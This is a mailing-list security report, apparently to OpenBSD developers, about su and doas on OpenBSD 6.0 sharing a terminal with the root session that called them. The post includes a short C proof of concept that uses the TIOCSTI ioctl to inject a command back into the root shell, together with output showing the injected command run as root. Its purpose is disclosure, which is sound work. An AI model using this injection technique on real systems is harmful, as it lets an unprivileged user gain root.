Hello, I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches) which seems to allow running commands as the original user when using su and doas interactively because the controlling terminal is the same.
The following binary is used to test this and compiled as
/tmp/a.out:
#include <sys/ioctl.h>
#include <stdio.h>
char s[] = "echo Payload as $(whoami)\n";
void main(void) {
printf("uid: %d\n", getuid());
char *c = s;
int i = 0;
int tty = open("/dev/tty", 0);
do {
ioctl(tty, TIOCSTI, c);
c++;
} while (*c);
return;
}
Now running su builder -c /tmp/a.out (where builder is just a
normal user with a shell) results in:
# su builder -c /tmp/a.out
uid: 1000
echo Payload as $(whoami)
# echo Payload as $(whoami)
Payload as root
Similar happens with doas and the following config:
# cat /etc/doas.conf
permit nopass root as builder
# doas -u builder /tmp/a.out
uid: 1000
echo Payload as $(whoami)
# echo Payload as $(whoami)
Payload as root
Is this behavior expected and if so, how do I run commands from
root as an untrusted user? It's not mentioned in the man page
that using su/doas as root might allow other users to run code as
root.
Similar behavior is also mentioned in an old (and unfixed) Debian
bug [1].
Regards
Simon
[1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=628843
--
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9
signature.asc
Description: PGP signature
